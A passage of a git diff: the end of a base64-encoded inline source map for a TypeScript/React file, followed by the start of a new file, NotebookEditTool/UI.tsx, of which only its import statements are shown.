kMsUUFBUSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQUMsUUFBUSxFQUFFLElBQUk7QUFDckMsTUFBTSxFQUFFLGVBQWUsQ0FBQztFQUV0QjtFQUVBLElBQUlGLEtBQUssS0FBS0UsU0FBUyxJQUFJRixLQUFLLEdBQUcsQ0FBQyxFQUFFO0lBQ3BDLE1BQU1HLEtBQUssR0FBR0MsSUFBSSxDQUFDQyxHQUFHLENBQUMsQ0FBQyxFQUFFRCxJQUFJLENBQUNFLEdBQUcsQ0FBQyxDQUFDLEVBQUVQLFFBQVEsR0FBR0MsS0FBSyxDQUFDLENBQUM7SUFDeEQsTUFBTU8sVUFBVSxHQUFHSCxJQUFJLENBQUNJLEtBQUssQ0FBQ0wsS0FBSyxHQUFHLEdBQUcsQ0FBQztJQUMxQyxPQUNFLENBQUMsZUFBZTtBQUN0QixRQUFRLENBQUMsR0FBRyxDQUFDLGFBQWEsQ0FBQyxRQUFRO0FBQ25DLFVBQVUsQ0FBQ0YsZUFBZSxJQUFJLENBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBQyxDQUFDQSxlQUFlLENBQUMsRUFBRSxJQUFJLENBQUM7QUFDckUsVUFBVSxDQUFDLEdBQUcsQ0FBQyxhQUFhLENBQUMsS0FBSyxDQUFDLEdBQUcsQ0FBQyxDQUFDLENBQUMsQ0FBQztBQUMxQyxZQUFZLENBQUMsV0FBVyxDQUFDLEtBQUssQ0FBQyxDQUFDRSxLQUFLLENBQUMsQ0FBQyxLQUFLLENBQUMsQ0FBQyxFQUFFLENBQUM7QUFDakQsWUFBWSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQUMsQ0FBQ0ksVUFBVSxDQUFDLENBQUMsRUFBRSxJQUFJO0FBQzlDLFVBQVUsRUFBRSxHQUFHO0FBQ2YsUUFBUSxFQUFFLEdBQUc7QUFDYixNQUFNLEVBQUUsZUFBZSxDQUFDO0VBRXRCO0VBRUEsT0FDRSxDQUFDLGVBQWUsQ0FBQyxNQUFNLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDL0IsTUFBTSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQUMsQ0FBQ04sZUFBZSxJQUFJLGVBQWVGLFFBQVEsRUFBRSxDQUFDLEVBQUUsSUFBSTtBQUN6RSxJQUFJLEVBQUUsZUFBZSxDQUFDO0FBRXRCO0FBRUEsT0FBTyxTQUFTVSx1QkFBdUJBLENBQ3JDQyxNQUFNLEVBQUUsTUFBTSxHQUFHM0MsYUFBYSxFQUM5QjRDLDJCQUEyQixFQUFFakQsZUFBZSxDQUFDRCxnQkFBZ0IsQ0FBQyxFQUFFLEVBQ2hFO0VBQUVvQixPQUFPO0VBQUVIO0FBQTZDLENBQXRDLEVBQUU7RUFBRUcsT0FBTyxFQUFFLE9BQU87RUFBRUgsS0FBSyxDQUFDLEVBQUUsT0FBTztBQUFDLENBQUMsQ0FDMUQsRUFBRTNCLEtBQUssQ0FBQytCLFNBQVMsQ0FBQztFQUNqQixNQUFNOEIsU0FBUyxHQUFHRixNQUFNLElBQUkzQyxhQUFhO0VBRXpDLElBQUksQ0FBQ2MsT0FBTyxFQUFFO0lBQ1osTUFBTWdDLFNBQVMsR0FBR0MsbUJBQW1CLENBQUNGLFNBQVMsRUFBRWxDLEtBQUssQ0FBQztJQUN2RCxJQUFJbUMsU0FBUyxLQUFLLElBQUksRUFBRTtNQUN0QixPQUNFLENBQUMsZUFBZSxDQUFDLE1BQU0sQ0FBQyxDQUFDLENBQUMsQ0FBQztBQUNuQyxVQUFVLENBQUMsSUFBSTtBQUNmLDZCQUE2QixDQUFDLEdBQUc7QUFDakMsWUFBWSxDQUFDLElBQUksQ0FBQyxDQUFDaEQsZUFBZSxDQUFDZ0QsU0FBUyxDQUFDRSxHQUFHLEVBQUVGLFNBQVMsQ0FBQ0csT0FBTyxDQUFDLENBQUMsRUFBRSxJQUFJO0FBQzNFLFVBQVUsRUFBRSxJQUFJO0FBQ2hCLFFBQVEsRUFBRSxlQUFlLENBQUM7SUFFdEI7RUFDRjtFQUVBLE1BQU1DLGVBQWUsR0FBR25ELHNCQUFzQixDQUFDOEMsU0FBUyxDQUFDO0VBQ3pELE1BQU1NLFdBQVcsR0FBR0QsZUFBZSxHQUFHOUMsbUNBQW1DO0VBQ3pFLE1BQU1nRCxjQUFjLEdBQUdELFdBQVcsR0FDOUIsR0FBR3BFLE9BQU8sQ0FBQ3NFLE9BQU8seUJBQXlCeEQsWUFBWSxDQUFDcUQsZUFBZSxDQUFDLDRDQUE0QyxHQUNwSCxJQUFJO0VBRVIsSUFBSUksY0FBYyxFQUFFdEUsS0FBSyxDQUFDK0IsU0FBUztFQUNuQyxJQUFJd0MsS0FBSyxDQUFDQyxPQUFPLENBQUNYLFNBQVMsQ0FBQyxFQUFFO0lBQzVCLE1BQU1ZLGFBQWEsR0FBR1osU0FBUyxDQUFDekIsR0FBRyxDQUFDLENBQUNzQyxJQUFJLEVBQUVDLENBQUMsS0FBSztNQUMvQyxJQUFJRCxJQUFJLENBQUNFLElBQUksS0FBSyxPQUFPLEVBQUU7UUFDekIsT0FDRSxDQUFDLEdBQUcsQ0FDRixHQUFHLENBQUMsQ0FBQ0QsQ0FBQyxDQUFDLENBQ1AsY0FBYyxDQUFDLGVBQWUsQ0FDOUIsU0FBUyxDQUFDLFFBQVEsQ0FDbEIsS0FBSyxDQUFDLE1BQU07QUFFeEIsWUFBWSxDQUFDLGVBQWUsQ0FBQyxNQUFNLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDdkMsY0FBYyxDQUFDLElBQUksQ0FBQyxPQUFPLEVBQUUsSUFBSTtBQUNqQyxZQUFZLEVBQUUsZUFBZTtBQUM3QixVQUFVLEVBQUUsR0FBRyxDQUFDO01BRVY7TUFDQTtNQUNBLE1BQU1FLFdBQVcsR0FDZkgsSUFBSSxDQUFDRSxJQUFJLEtBQUssTUFBTSxJQUNwQixNQUFNLElBQUlGLElBQUksSUFDZEEsSUFBSSxDQUFDSSxJQUFJLEtBQUssSUFBSSxJQUNsQkosSUFBSSxDQUFDSSxJQUFJLEtBQUszQixTQUFTLEdBQ25CNEIsTUFBTSxDQUFDTCxJQUFJLENBQUNJLElBQUksQ0FBQyxHQUNqQixFQUFFO01BQ1IsT0FBT2hGLE9BQU8sQ0FBQyxpQkFBaUIsQ0FBQyxHQUMvQixDQUFDLGFBQWEsQ0FBQyxHQUFHLENBQUMsQ0FBQzZFLENBQUMsQ0FBQyxDQUFDLE9BQU8sQ0FBQyxDQUFDRSxXQUFXLENBQUMsQ0FBQyxPQUFPLENBQUMsQ0FBQy9DLE9BQU8sQ0FBQyxHQUFHLEdBRWpFLENBQUMsVUFBVSxDQUFDLEdBQUcsQ0FBQyxDQUFDNkMsQ0FBQyxDQUFDLENBQUMsT0FBTyxDQUFDLENBQUNFLFdBQVcsQ0FBQyxDQUFDLE9BQU8sQ0FBQyxDQUFDL0MsT0FBTyxDQUFDLEdBQzVEO0lBQ0gsQ0FBQyxDQUFDOztJQUVGO0lBQ0F3QyxjQUFjLEdBQ1osQ0FBQyxHQUFHLENBQUMsYUFBYSxDQUFDLFFBQVEsQ0FBQyxLQUFLLENBQUMsTUFBTTtBQUM5QyxRQUFRLENBQUNHLGFBQWE7QUFDdEIsTUFBTSxFQUFFLEdBQUcsQ0FDTjtFQUNILENBQUMsTUFBTSxJQUFJLENBQUNaLFNBQVMsRUFBRTtJQUNyQlMsY0FBYyxHQUNaLENBQUMsR0FBRyxDQUFDLGNBQWMsQ0FBQyxlQUFlLENBQUMsU0FBUyxDQUFDLFFBQVEsQ0FBQyxLQUFLLENBQUMsTUFBTTtBQUN6RSxRQUFRLENBQUMsZUFBZSxDQUFDLE1BQU0sQ0FBQyxDQUFDLENBQUMsQ0FBQztBQUNuQyxVQUFVLENBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBQyxZQUFZLEVBQUUsSUFBSTtBQUMzQyxRQUFRLEVBQUUsZUFBZTtBQUN6QixNQUFNLEVBQUUsR0FBRyxDQUNOO0VBQ0gsQ0FBQyxNQUFNO0lBQ0xBLGNBQWMsR0FBR3hFLE9BQU8sQ0FBQyxpQkFBaUIsQ0FBQyxHQUN6QyxDQUFDLGFBQWEsQ0FBQyxPQUFPLENBQUMsQ0FBQytELFNBQVMsQ0FBQyxDQUFDLE9BQU8sQ0FBQyxDQUFDL0IsT0FBTyxDQUFDLEdBQUcsR0FFdkQsQ0FBQyxVQUFVLENBQUMsT0FBTyxDQUFDLENBQUMrQixTQUFTLENBQUMsQ0FBQyxPQUFPLENBQUMsQ0FBQy9CLE9BQU8sQ0FBQyxHQUNsRDtFQUNIO0VBRUEsSUFBSXNDLGNBQWMsRUFBRTtJQUNsQixPQUNFLENBQUMsR0FBRyxDQUFDLGFBQWEsQ0FBQyxRQUFRO0FBQ2pDLFFBQVEsQ0FBQyxlQUFlLENBQUMsTUFBTSxDQUFDLENBQUMsQ0FBQyxDQUFDO0FBQ25DLFVBQVUsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLFNBQVMsQ0FBQyxDQUFDQSxjQUFjLENBQUMsRUFBRSxJQUFJO0FBQ3RELFFBQVEsRUFBRSxlQUFlO0FBQ3pCLFFBQVEsQ0FBQ0UsY0FBYztBQUN2QixNQUFNLEVBQUUsR0FBRyxDQUFDO0VBRVY7RUFFQSxPQUFPQSxjQUFjO0FBQ3ZCOztBQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsU0FBQVUsY0FBQUMsRUFBQTtFQUFBLE1BQUFDLENBQUEsR0FBQUMsRUFBQTtFQUF1QjtJQUFBQyxPQUFBO0lBQUF0RDtFQUFBLElBQUFtRCxFQU10QjtFQUFBLElBQUFJLEVBQUE7RUFBQSxJQUFBSCxDQUFBLFFBQUFFLE9BQUEsSUFBQUYsQ0FBQSxRQUFBcEQsT0FBQTtJQUlLdUQsRUFBQSxHQUFBQyxNQVNrQixDQUFBQyxHQUFBLENBVGxCLDZCQVNpQixDQUFDO0lBQUFDLEdBQUE7TUFadEIsTUFBQUMsU0FBQSxHQUFrQkMsb0JBQW9CLENBQUNOLE9BQU8sQ0FBQztNQUMvQyxJQUFJSyxTQUFTLEtBQUssSUFBSTtRQUliLE1BQUFFLEVBQUEsR0FBQUYsU0FBUyxDQUFBRyxNQUFPLENBQUExRCxNQUFPLEdBQUcsQ0FJMUIsSUFIQyxDQUFDLElBQUksQ0FBQyxRQUFRLENBQVIsS0FBTyxDQUFDLENBQ1gsQ0FBQXVELFNBQVMsQ0FBQUcsTUFBTyxDQUFBeEQsR0FBSSxDQUFDeUQsS0FBd0IsQ0FBQyxDQUFBbkQsSUFBSyxDQUFDLFFBQUssRUFDNUQsRUFGQyxJQUFJLENBR047UUFBQSxJQUFBb0QsRUFBQTtRQUFBLElBQUFaLENBQUEsUUFBQU8sU0FBQSxJQUFBUCxDQUFBLFFBQUFwRCxPQUFBO1VBQ0RnRSxFQUFBLElBQUMsVUFBVSxDQUFVLE9BQWMsQ0FBZCxDQUFBTCxTQUFTLENBQUFNLElBQUksQ0FBQyxDQUFXakUsT0FBTyxDQUFQQSxRQUFNLENBQUMsQ0FBRSxXQUFXLENBQVgsS0FBVSxDQUFDLEdBQUc7VUFBQW9ELENBQUEsTUFBQU8sU0FBQTtVQUFBUCxDQUFBLE1BQUFwRCxPQUFBO1VBQUFvRCxDQUFBLE1BQUFZLEVBQUE7UUFBQTtVQUFBQSxFQUFBLEdBQUFaLENBQUE7UUFBQTtRQUFBLElBQUFjLEVBQUE7UUFBQSxJQUFBZCxDQUFBLFFBQUFTLEVBQUEsSUFBQVQsQ0FBQSxRQUFBWSxFQUFBO1VBUHpFRSxFQUFBLElBQUMsZUFBZSxDQUNkLENBQUMsR0FBRyxDQUFlLGFBQVEsQ0FBUixRQUFRLENBQ3hCLENBQUFMLEVBSUQsQ0FDQSxDQUFBRyxFQUFvRSxDQUN0RSxFQVBDLEdBQUcsQ0FRTixFQVRDLGVBQWUsQ0FTRTtVQUFBWixDQUFBLE1BQUFTLEVBQUE7VUFBQVQsQ0FBQSxNQUFBWSxFQUFBO1VBQUFaLENBQUEsTUFBQWMsRUFBQTtRQUFBO1VBQUFBLEVBQUEsR0FBQWQsQ0FBQTtRQUFBO1FBVGxCRyxFQUFBLEdBQUFXLEVBU2tCO1FBVGxCLE1BQUFSLEdBQUE7TUFTa0I7SUFFckI7SUFBQU4sQ0FBQSxNQUFBRSxPQUFBO0lBQUFGLENBQUEsTUFBQXBELE9BQUE7SUFBQW9ELENBQUEsTUFBQUcsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUgsQ0FBQTtFQUFBO0VBQUEsSUFBQUcsRUFBQSxLQUFBQyxNQUFBLENBQUFDLEdBQUE7SUFBQSxPQUFBRixFQUFBO0VBQUE7RUFBQSxJQUFBTSxFQUFBO0VBQUEsSUFBQVQsQ0FBQSxRQUFBRSxPQUFBO0lBS0dPLEVBQUEsR0FBQUwsTUFTa0IsQ0FBQUMsR0FBQSxDQVRsQiw2QkFTaUIsQ0FBQztJQUFBVSxHQUFBO01BYnRCLE1BQUFDLElBQUEsR0FBYUMsY0FBYyxDQUFDZixPQUFPLENBQUM7TUFDcEMsSUFBSWMsSUFBSSxLQUFLLElBQUk7UUFDZixNQUFBRSxXQUFBLEdBQW9CL0MsSUFBSSxDQUFBRSxHQUFJLElBQUkyQyxJQUFJLENBQUE5RCxHQUFJLENBQUNpRSxNQUF1QixDQUFDLENBQUM7UUFBQSxJQUFBUCxFQUFBO1FBQUEsSUFBQVosQ0FBQSxTQUFBa0IsV0FBQTtVQUlsRE4sRUFBQSxHQUFBQSxDQUFBRSxFQUFBLEVBQUFyQixDQUFBO1lBQUMsT0FBQXRDLEdBQUEsRUFBQUMsS0FBQSxJQUFBMEQsRUFBWTtZQUFBLE9BQ3JCLENBQUMsSUFBSSxDQUFNckIsR0FBQyxDQUFEQSxFQUFBLENBQUMsQ0FDVixDQUFDLElBQUksQ0FBQyxRQUFRLENBQVIsS0FBTyxDQUFDLENBQUUsQ0FBQXRDLEdBQUcsQ0FBQWlFLE1BQU8sQ0FBQ0YsV0FBVyxFQUFFLEVBQUUsRUFBekMsSUFBSSxDQUNMLENBQUMsSUFBSSxDQUFFLENBQUFoRyxpQkFBaUIsQ0FBQ2tDLEtBQUssRUFBRSxFQUEvQixJQUFJLENBQ1AsRUFIQyxJQUFJLENBR0U7VUFBQSxDQUNSO1VBQUE0QyxDQUFBLE9BQUFrQixXQUFBO1VBQUFsQixDQUFBLE9BQUFZLEVBQUE7UUFBQTtVQUFBQSxFQUFBLEdBQUFaLENBQUE7UUFBQTtRQU5ILE1BQUFjLEVBQUEsSUFBQyxHQUFHLENBQWUsYUFBUSxDQUFSLFFBQVEsQ0FDeEIsQ0FBQUUsSUFBSSxDQUFBOUQsR0FBSSxDQUFDMEQsRUFLVCxFQUNILEVBUEMsR0FBRyxDQU9FO1FBQUEsSUFBQVMsRUFBQTtRQUFBLElBQUFyQixDQUFBLFNBQUFjLEVBQUE7VUFSUk8sRUFBQSxJQUFDLGVBQWUsQ0FDZCxDQUFBUCxFQU9LLENBQ1AsRUFUQyxlQUFlLENBU0U7VUFBQWQsQ0FBQSxPQUFBYyxFQUFBO1VBQUFkLENBQUEsT0FBQXFCLEVBQUE7UUFBQTtVQUFBQSxFQUFBLEdBQUFyQixDQUFBO1FBQUE7UUFUbEJTLEVBQUEsR0FBQVksRUFTa0I7UUFUbEIsTUFBQU4sR0FBQTtNQVNrQjtJQUVyQjtJQUFBZixDQUFBLE1BQUFFLE9BQUE7SUFBQUYsQ0FBQSxPQUFBUyxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBVCxDQUFBO0VBQUE7RUFBQSxJQUFBUyxFQUFBLEtBQUFMLE1BQUEsQ0FBQUMsR0FBQTtJQUFBLE9BQUFJLEVBQUE7RUFBQTtFQUFBLElBQUFHLEVBQUE7RUFBQSxJQUFBWixDQUFBLFNBQUFFLE9BQUEsSUFBQUYsQ0FBQSxTQUFBcEQsT0FBQTtJQUNNZ0UsRUFBQSxJQUFDLFVBQVUsQ0FBVVYsT0FBTyxDQUFQQSxRQUFNLENBQUMsQ0FBV3RELE9BQU8sQ0FBUEEsUUFBTSxDQUFDLENBQUUsV0FBVyxDQUFYLEtBQVUsQ0FBQyxHQUFHO0lBQUFvRCxDQUFBLE9BQUFFLE9BQUE7SUFBQUYsQ0FBQSxPQUFBcEQsT0FBQTtJQUFBb0QsQ0FBQSxPQUFBWSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBWixDQUFBO0VBQUE7RUFBQSxPQUE5RFksRUFBOEQ7QUFBQTs7QUFHdkU7QUFDQTtBQUNBO0FBQ0E7QUE1Q0EsU0FBQU8sT0FBQXBCLEVBQUE7RUF3QjhDLE9BQUF1QixHQUFBLElBQUF2QixFQUFHO0VBQUEsT0FBSzNFLFdBQVcsQ0FBQ21HLEdBQUMsQ0FBQztBQUFBO0FBeEJwRSxTQUFBWixNQUFBWixFQUFBO0VBY3FDLE9BQUF3QixDQUFBLEVBQUFDLENBQUEsSUFBQXpCLEVBQU07RUFBQSxPQUFLLEdBQUd3QixDQUFDLEtBQUtDLENBQUMsRUFBRTtBQUFBO0FBK0I1RCxTQUFTQyxnQkFBZ0JBLENBQ3ZCdkIsT0FBTyxFQUFFLE1BQU0sRUFDZjtFQUFFd0IsUUFBUTtFQUFFQztBQUErQyxDQUF0QyxFQUFFO0VBQUVELFFBQVEsRUFBRSxNQUFNO0VBQUVDLE9BQU8sRUFBRSxNQUFNO0FBQUMsQ0FBQyxDQUM3RCxFQUFFLENBQUMsTUFBTSxFQUFFLE9BQU8sQ0FBQyxFQUFFLEdBQUcsSUFBSSxDQUFDO0VBQzVCLE1BQU1DLE9BQU8sR0FBRzFCLE9BQU8sQ0FBQzJCLElBQUksQ0FBQyxDQUFDO0VBQzlCLElBQUlELE9BQU8sQ0FBQzVFLE1BQU0sS0FBSyxDQUFDLElBQUk0RSxPQUFPLENBQUM1RSxNQUFNLEdBQUcwRSxRQUFRLElBQUlFLE9BQU8sQ0FBQyxDQUFDLENBQUMsS0FBSyxHQUFHLEVBQUU7SUFDM0UsT0FBTyxJQUFJO0VBQ2I7RUFDQSxJQUFJRSxNQUFNLEVBQUUsT0FBTztFQUNuQixJQUFJO0lBQ0ZBLE1BQU0sR0FBRy9GLFNBQVMsQ0FBQzZGLE9BQU8sQ0FBQztFQUM3QixDQUFDLENBQUMsTUFBTTtJQUNOLE9BQU8sSUFBSTtFQUNiO0VBQ0EsSUFBSUUsTUFBTSxLQUFLLElBQUksSUFBSSxPQUFPQSxNQUFNLEtBQUssUUFBUSxJQUFJekMsS0FBSyxDQUFDQyxPQUFPLENBQUN3QyxNQUFNLENBQUMsRUFBRTtJQUMxRSxPQUFPLElBQUk7RUFDYjtFQUNBLE1BQU03RSxPQUFPLEdBQUdILE1BQU0sQ0FBQ0csT0FBTyxDQUFDNkUsTUFBTSxDQUFDO0VBQ3RDLElBQUk3RSxPQUFPLENBQUNELE1BQU0sS0FBSyxDQUFDLElBQUlDLE9BQU8sQ0FBQ0QsTUFBTSxHQUFHMkUsT0FBTyxFQUFFO0lBQ3BELE9BQU8sSUFBSTtFQUNiO0VBQ0EsT0FBTzFFLE9BQU87QUFDaEI7O0FBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLE9BQU8sU0FBU2dFLGNBQWNBLENBQUNmLE9BQU8sRUFBRSxNQUFNLENBQUMsRUFBRSxDQUFDLE1BQU0sRUFBRSxNQUFNLENBQUMsRUFBRSxHQUFHLElBQUksQ0FBQztFQUN6RSxNQUFNakQsT0FBTyxHQUFHd0UsZ0JBQWdCLENBQUN2QixPQUFPLEVBQUU7SUFDeEN3QixRQUFRLEVBQUVyRixtQkFBbUI7SUFDN0JzRixPQUFPLEVBQUV2RjtFQUNYLENBQUMsQ0FBQztFQUNGLElBQUlhLE9BQU8sS0FBSyxJQUFJLEVBQUUsT0FBTyxJQUFJO0VBQ2pDLE1BQU04RSxNQUFNLEVBQUUsQ0FBQyxNQUFNLEVBQUUsTUFBTSxDQUFDLEVBQUUsR0FBRyxFQUFFO0VBQ3JDLEtBQUssTUFBTSxDQUFDNUUsR0FBRyxFQUFFQyxLQUFLLENBQUMsSUFBSUgsT0FBTyxFQUFFO0lBQ2xDLElBQUksT0FBT0csS0FBSyxLQUFLLFFBQVEsRUFBRTtNQUM3QjJFLE1BQU0sQ0FBQ0MsSUFBSSxDQUFDLENBQUM3RSxHQUFHLEVBQUVDLEtBQUssQ0FBQyxDQUFDO0lBQzNCLENBQUMsTUFBTSxJQUNMQSxLQUFLLEtBQUssSUFBSSxJQUNkLE9BQU9BLEtBQUssS0FBSyxRQUFRLElBQ3pCLE9BQU9BLEtBQUssS0FBSyxTQUFTLEVBQzFCO01BQ0EyRSxNQUFNLENBQUNDLElBQUksQ0FBQyxDQUFDN0UsR0FBRyxFQUFFMEMsTUFBTSxDQUFDekMsS0FBSyxDQUFDLENBQUMsQ0FBQztJQUNuQyxDQUFDLE1BQU0sSUFBSSxPQUFPQSxLQUFLLEtBQUssUUFBUSxFQUFFO01BQ3BDLE1BQU02RSxPQUFPLEdBQUdqRyxhQUFhLENBQUNvQixLQUFLLENBQUM7TUFDcEMsSUFBSTZFLE9BQU8sQ0FBQ2pGLE1BQU0sR0FBRyxHQUFHLEVBQUUsT0FBTyxJQUFJO01BQ3JDK0UsTUFBTSxDQUFDQyxJQUFJLENBQUMsQ0FBQzdFLEdBQUcsRUFBRThFLE9BQU8sQ0FBQyxDQUFDO0lBQzdCLENBQUMsTUFBTTtNQUNMLE9BQU8sSUFBSTtJQUNiO0VBQ0Y7RUFDQSxPQUFPRixNQUFNO0FBQ2Y7O0FBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsT0FBTyxTQUFTdkIsb0JBQW9CQSxDQUNsQ04sT0FBTyxFQUFFLE1BQU0sQ0FDaEIsRUFBRTtFQUFFVyxJQUFJLEVBQUUsTUFBTTtFQUFFSCxNQUFNLEVBQUUsQ0FBQyxNQUFNLEVBQUUsTUFBTSxDQUFDLEVBQUU7QUFBQyxDQUFDLEdBQUcsSUFBSSxDQUFDO0VBQ3JELE1BQU16RCxPQUFPLEdBQUd3RSxnQkFBZ0IsQ0FBQ3ZCLE9BQU8sRUFBRTtJQUN4Q3dCLFFBQVEsRUFBRXBGLG9CQUFvQjtJQUM5QnFGLE9BQU8sRUFBRTtFQUNYLENBQUMsQ0FBQztFQUNGLElBQUkxRSxPQUFPLEtBQUssSUFBSSxFQUFFLE9BQU8sSUFBSTtFQUNqQztFQUNBO0VBQ0EsSUFBSTRELElBQUksRUFBRSxNQUFNLEdBQUcsSUFBSSxHQUFHLElBQUk7RUFDOUIsTUFBTUgsTUFBTSxFQUFFLENBQUMsTUFBTSxFQUFFLE1BQU0sQ0FBQyxFQUFFLEdBQUcsRUFBRTtFQUNyQyxLQUFLLE1BQU0sQ0FBQ3ZELEdBQUcsRUFBRUMsS0FBSyxDQUFDLElBQUlILE9BQU8sRUFBRTtJQUNsQyxJQUFJLE9BQU9HLEtBQUssS0FBSyxRQUFRLEVBQUU7TUFDN0IsTUFBTThFLENBQUMsR0FBRzlFLEtBQUssQ0FBQ0csT0FBTyxDQUFDLENBQUM7TUFDekIsTUFBTTRFLFVBQVUsR0FDZEQsQ0FBQyxDQUFDbEYsTUFBTSxHQUFHVCxxQkFBcUIsSUFBSzJGLENBQUMsQ0FBQ0UsUUFBUSxDQUFDLElBQUksQ0FBQyxJQUFJRixDQUFDLENBQUNsRixNQUFNLEdBQUcsRUFBRztNQUN6RSxJQUFJbUYsVUFBVSxFQUFFO1FBQ2QsSUFBSXRCLElBQUksS0FBSyxJQUFJLEVBQUUsT0FBTyxJQUFJLEVBQUM7UUFDL0JBLElBQUksR0FBR3FCLENBQUM7UUFDUjtNQUNGO01BQ0EsSUFBSUEsQ0FBQyxDQUFDbEYsTUFBTSxHQUFHLEdBQUcsRUFBRSxPQUFPLElBQUk7TUFDL0IwRCxNQUFNLENBQUNzQixJQUFJLENBQUMsQ0FBQzdFLEdBQUcsRUFBRStFLENBQUMsQ0FBQ0csT0FBTyxDQUFDLE1BQU0sRUFBRSxHQUFHLENBQUMsQ0FBQyxDQUFDO0lBQzVDLENBQUMsTUFBTSxJQUNMakYsS0FBSyxLQUFLLElBQUksSUFDZCxPQUFPQSxLQUFLLEtBQUssUUFBUSxJQUN6QixPQUFPQSxLQUFLLEtBQUssU0FBUyxFQUMxQjtNQUNBc0QsTUFBTSxDQUFDc0IsSUFBSSxDQUFDLENBQUM3RSxHQUFHLEVBQUUwQyxNQUFNLENBQUN6QyxLQUFLLENBQUMsQ0FBQyxDQUFDO0lBQ25DLENBQUMsTUFBTTtNQUNMLE9BQU8sSUFBSSxFQUFDO0lBQ2Q7RUFDRjtFQUNBLElBQUl5RCxJQUFJLEtBQUssSUFBSSxFQUFFLE9BQU8sSUFBSTtFQUM5QixPQUFPO0lBQUVBLElBQUk7SUFBRUg7RUFBTyxDQUFDO0FBQ3pCO0FBRUEsTUFBTTRCLGlCQUFpQixHQUNyQixpRUFBaUU7O0FBRW5FO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsT0FBTyxTQUFTekQsbUJBQW1CQSxDQUNqQ0osTUFBTSxFQUFFLE1BQU0sR0FBRzNDLGFBQWEsRUFDOUJXLEtBQUssRUFBRSxPQUFPLENBQ2YsRUFBRTtFQUFFc0MsT0FBTyxFQUFFLE1BQU07RUFBRUQsR0FBRyxFQUFFLE1BQU07QUFBQyxDQUFDLEdBQUcsSUFBSSxDQUFDO0VBQ3pDLElBQUljLElBQUksRUFBRSxPQUFPLEdBQUduQixNQUFNO0VBQzFCLElBQUlZLEtBQUssQ0FBQ0MsT0FBTyxDQUFDYixNQUFNLENBQUMsRUFBRTtJQUN6QixNQUFNOEQsS0FBSyxHQUFHOUQsTUFBTSxDQUFDK0QsSUFBSSxDQUFDQyxDQUFDLElBQUlBLENBQUMsQ0FBQy9DLElBQUksS0FBSyxNQUFNLENBQUM7SUFDakRFLElBQUksR0FBRzJDLEtBQUssSUFBSSxNQUFNLElBQUlBLEtBQUssR0FBR0EsS0FBSyxDQUFDM0MsSUFBSSxHQUFHM0IsU0FBUztFQUMxRDtFQUNBLElBQUksT0FBTzJCLElBQUksS0FBSyxRQUFRLElBQUksQ0FBQ0EsSUFBSSxDQUFDd0MsUUFBUSxDQUFDLGdCQUFnQixDQUFDLEVBQUU7SUFDaEUsT0FBTyxJQUFJO0VBQ2I7RUFFQSxNQUFNbkYsT0FBTyxHQUFHd0UsZ0JBQWdCLENBQUM3QixJQUFJLEVBQUU7SUFBRThCLFFBQVEsRUFBRSxJQUFJO0lBQUVDLE9BQU8sRUFBRTtFQUFFLENBQUMsQ0FBQztFQUN0RSxNQUFNN0MsR0FBRyxHQUFHN0IsT0FBTyxFQUFFdUYsSUFBSSxDQUFDLENBQUMsQ0FBQ2pCLENBQUMsQ0FBQyxLQUFLQSxDQUFDLEtBQUssY0FBYyxDQUFDLEdBQUcsQ0FBQyxDQUFDO0VBQzdELElBQUksT0FBT3pDLEdBQUcsS0FBSyxRQUFRLEVBQUUsT0FBTyxJQUFJO0VBQ3hDLE1BQU00RCxDQUFDLEdBQUdKLGlCQUFpQixDQUFDSyxJQUFJLENBQUM3RCxHQUFHLENBQUM7RUFDckMsSUFBSSxDQUFDNEQsQ0FBQyxFQUFFLE9BQU8sSUFBSTtFQUVuQixNQUFNRSxHQUFHLEdBQUduRyxLQUFLLElBQUk7SUFBRW9HLFVBQVUsQ0FBQyxFQUFFLE9BQU87SUFBRTlELE9BQU8sQ0FBQyxFQUFFLE9BQU87RUFBQyxDQUFDLEdBQUcsU0FBUztFQUM1RSxNQUFNK0QsR0FBRyxHQUFHRixHQUFHLEVBQUVDLFVBQVUsSUFBSUQsR0FBRyxFQUFFN0QsT0FBTyxJQUFJMkQsQ0FBQyxDQUFDLENBQUMsQ0FBQztFQUNuRCxNQUFNSyxLQUFLLEdBQUcsT0FBT0QsR0FBRyxLQUFLLFFBQVEsSUFBSUEsR0FBRyxHQUFHQSxHQUFHLEdBQUcsT0FBTztFQUM1RCxPQUFPO0lBQUUvRCxPQUFPLEVBQUVnRSxLQUFLLENBQUNDLFVBQVUsQ0FBQyxHQUFHLENBQUMsR0FBR0QsS0FBSyxHQUFHLElBQUlBLEtBQUssRUFBRTtJQUFFakU7RUFBSSxDQUFDO0FBQ3RFIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/tools/NotebookEditTool/UI.tsx b/_all-in-one-upload/cc-haha/src/tools/NotebookEditTool/UI.tsx
new file mode 100644
index 0000000..017bbfd
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/NotebookEditTool/UI.tsx
@@ -0,0 +1,93 @@
+import type { ToolResultBlockParam } from '@anthropic-ai/sdk/resources/index.mjs';
+import * as React from 'react';
+import type { Message, ProgressMessage } from 'src/types/message.js';
+import { extractTag } from 'src/utils/messages.js';
+import type { ThemeName } from 'src/utils/theme.js';
+import type { z } from 'zod/v4';
+import { FallbackToolUseErrorMessage } from '../../components/FallbackToolUseErrorMessage.js';
+import { FilePathLink } from '../../components/FilePathLink.js';
+import { HighlightedCode } from '../../components/HighlightedCode.js';
+import { MessageResponse } from '../../components/MessageResponse.js';
+import { NotebookEditToolUseRejectedMessage } from '../../components/NotebookEditToolUseRejectedMessage.js';
